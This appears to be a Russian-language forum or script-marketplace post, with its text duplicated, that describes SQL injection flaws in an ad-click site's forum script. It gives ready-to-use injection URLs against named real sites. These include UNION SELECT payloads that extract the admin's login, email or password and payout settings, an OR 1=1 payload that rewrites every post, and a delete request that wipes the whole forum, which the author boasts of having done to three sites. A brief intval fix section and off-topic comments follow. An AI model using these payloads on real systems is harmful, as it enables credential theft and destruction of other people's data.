Итак, имеем форум, установлен он на хост, давайте посмотрим, что с ним можно сделать.
На данный момент стоит кривой форум.
Что можно сделать:
1. SELECT:
1.1. http://seosprint.info/forum_posts.php?th=0\'+union+select+1,2,3,4+--+
1.2. http://seosprint.info/forum_topic.php?gr=\'+union+select+1,2,3,4,5,6,7,8,9,10+--+
1.3. http://seosprint.info/forum_edit.php?post=\'+union+select+(SELECT+username+from+tb_users+where+user_status=\'admin\'),2+--+
Выведенную цифру можно спокойно поменять на запрос, поставив его в скобки.
Примеры запросов:
SELECT+username+from+tb_users+where+user_status=\'admin\' - берёт логин админа, username можно поменять на email или password. Что к чему вы разберётесь.
SELECT+price+from+tb_config+where+item=\'maxautopay\' - выведем максимальную сумму для автоматической выплаты.
SELECT+payforad+from+tb_site+where+id=1 - если вывело 1 - значит включена выплата раз в сутки.
SELECT+x2+from+tb_site+where+id=1 - если выводит 1 - значит включены автовыплаты.
Другие запросы можно составить самим.
2. UPDATE:
В этом случае можно сделать массовую замену всех сообщений на форуме на свой текст. Пишем что-нить на форуме -> жмём редактировать -> открываем исходный код и ищем:
123 - номер вашего поста (ID), меняем в исходном коде его на:
Вводим текст и подтверждаем.
3. DELETE
Я так убил форум на clickid.ru, да и на goldenclic.ru и seosprint.info
Идём по ссылке: http://seosprint.info/forum_posts.php?delete=\'+or+1=1+--+ (у нас удалились все сообщения на форуме)
Фиксимся:
1. Проставим интвалы forum_posts.php:
Перед скобками проставляем intval, сделать тоже самое во всех файлах форума.
Далее в forum_posts.php:
strip_tags => intval
Ещё ниже:
Аналогично меняем strip_tags на intval
Теперь открываем каждый файл и меняем оставшиеся strip_tags на limpiar.
И наконец самый главный фикс: ставим защиту от NGS, чтоб наверняка.
И теперь самый самый важный фикс - удаляем форум и букс заодно и ищем девушку да работаем на нормальной работе
На данный момент стоит кривой форум.
Что можно сделать:
1. SELECT:
1.1. http://seosprint.info/forum_posts.php?th=0\'+union+select+1,2,3,4+--+
1.2. http://seosprint.info/forum_topic.php?gr=\'+union+select+1,2,3,4,5,6,7,8,9,10+--+
1.3. http://seosprint.info/forum_edit.php?post=\'+union+select+(SELECT+username+from+tb_users+where+user_status=\'admin\'),2+--+
Выведенную цифру можно спокойно поменять на запрос, поставив его в скобки.
Примеры запросов:
SELECT+username+from+tb_users+where+user_status=\'admin\' - берёт логин админа, username можно поменять на email или password. Что к чему вы разберётесь.
SELECT+price+from+tb_config+where+item=\'maxautopay\' - выведем максимальную сумму для автоматической выплаты.
SELECT+payforad+from+tb_site+where+id=1 - если вывело 1 - значит включена выплата раз в сутки.
SELECT+x2+from+tb_site+where+id=1 - если выводит 1 - значит включены автовыплаты.
Другие запросы можно составить самим.
2. UPDATE:
В этом случае можно сделать массовую замену всех сообщений на форуме на свой текст. Пишем что-нить на форуме -> жмём редактировать -> открываем исходный код и ищем:
123 - номер вашего поста (ID), меняем в исходном коде его на:
' OR 1=1 -- '
Вводим текст и подтверждаем.
3. DELETE
Я так убил форум на clickid.ru, да и на goldenclic.ru и seosprint.info
Идём по ссылке: http://seosprint.info/forum_posts.php?delete=\'+or+1=1+--+ (у нас удалились все сообщения на форуме)
Фиксимся:
1. Проставим интвалы forum_posts.php:
$adse=($_GET["th"]);
$pagetemp=($_GET["page"]);
$pagetemp=($_GET["page"]);
Перед скобками проставляем intval, сделать тоже самое во всех файлах форума.
Далее в forum_posts.php:
$id_dell=strip_tags($_GET["delete"]);
strip_tags => intval
Ещё ниже:
$id_post=strip_tags($_POST["idgroupe"]);
Аналогично меняем strip_tags на intval
Теперь открываем каждый файл и меняем оставшиеся strip_tags на limpiar.
И наконец самый главный фикс: ставим защиту от NGS, чтоб наверняка.
И теперь самый самый важный фикс - удаляем форум и букс заодно и ищем девушку да работаем на нормальной работе
6 комментарии
0 загрузки
Детали
- Первый релиз 30 мар 2012
- Последнее обновление 03 авг 2026
- Документация Есть
- Содержимое файлов Исходные файлы
- Всего товаров 203
- Рейтинг (0)
- Регистрация 19 фев 2011
- Уровень 0
- Пользователь подтверждён Да
- Телефон подтверждён Нет
- Email подтверждён Нет

Alex
- 14 ноя 2012Напомнил про типы данных, есть целые и не целые типы данных :) Вспомнил делфи, начинал с делфи позже в с++ перешел, но делфи легко учиться и без лишних понтов тем она мне и нравилась тогда :)
Alex
- 31 мар 2012короч руфус всех нагнул)
Rufus
- 30 мар 2012Ты слышал что-то про внутреннею оптимизацию?
Давай рассмотрим пример в DelpHI, потому как в PHP там сложнее привести понятный пример.
И так, в delphi есть функция inc() - инкримент.
Так вот, что будет работать быстрее?
inc(a) или a++
Скажу сразу, inc(a)
Так же и у интерпритатора есть своя оптимизация.
$t = (int)$_GET["id"]; - если id пустой вернет 0
$t = intval($_GET["id"]); - если id пустой вернет 0
Слушай, так ты тогда вообще не используй функции, пиши в процедурке все...
Не используй ereg и preg_match и им подобные, потому как самый простой ereg забирает времени в 1000 раз больше чем intval()
условие if(true) тоже жрет не мало по сравнению с intval();
А если интересно, то создай пустой цикл с 1000 оборотов, замерь время...
Потом добавь в цикл $i = $intval($i); и замерь еще раз, потом из второго времени вычти первое и ты сильно удивишься, когда увидишь, что 1000 intval() сожрало не более 0.001 секунды.
НЕ ПРОВОДИТЕ ТЕСТЫ НА ДЕНВЕРЕ!!! ОН НЕВЕРНО РАБОТАЕТ! НУЖНО ТЕСТИТЬ НА РЕАЛЬНОМ СЕРВАКЕ!
Тот кто не работал с типизированными языками программирования тот не знает, что в любом языке есть типы данных, вот только интерпритатор PHP подтирает им попку и расставляет типы сам и приводит все к правельным типам данных.
Вот пример:
$a = 10; - это integer
$b = "5"; - это string
$a - $b = 5 // Бля, такого нет в языках программирования, это критическая ошибка.
Вы много чего не видите... Вы видите этот код так, а интерпритатор видит его так:
$a - (int)$b = 5
Он за вас все конвертирует и все делает!
Green-wm
- 30 мар 2012А какой быстроте идёт речь? Эта ничтожная функция ваще неспособна вызывать какую-либо нагрузку...
Alex
- 30 мар 2012PIZDABOL
PIEACE DA BALL VO!